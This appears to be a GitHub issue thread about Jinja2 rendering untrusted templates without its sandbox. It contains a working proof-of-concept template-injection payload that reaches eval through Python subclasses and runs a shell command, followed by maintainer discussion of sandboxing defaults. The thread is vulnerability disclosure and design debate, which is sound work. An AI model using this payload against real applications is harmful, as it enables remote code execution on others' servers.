Jinja: Execute arbitrary codes in template without sandbox environment.

[RickGray]

When i use Jinja2 template framework in my project, i found a way to call "os.popen('id')" or another functions without global register.
It's easy to get shell when attacker can control the template content. Is that such a design?

PoC:

from jinja2 import Template

content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()

I test this code with python2 (2.7.10) and Jinja2 (2.8), if it works will print your user's uid...

[ThiefMaster]

You should not execute untrusted templates in a non-sandboxed environment. That's exactly why the sandbox exists (and to be honest, even with a sandbox I would not let users provide arbitrary Jinja templates)

[RickGray]

So, is it necessary to take measures to prevent this case? I think there some specific application would allow users to edit the template content, but there is no practical examples.

[RickGray]

I think it is necessary to use sandbox by defualt, because flask or another web framework used Jinja2 is not do this.

[ThiefMaster]

Why would you want to use the sandbox by default? In most cases templates cannot be changed by untrusted people who don't have access to the code anyway.

[RickGray]

There is a case about remote code execution via Flask/Jinja2 template injection in Uber.
link: http://www.tuicool.com/articles/uE3YNjY

[untitaker]

Enabling sandboxing by default is not possible due to backwards compat, and also not reasonable because most templates (in Flask) are trusted.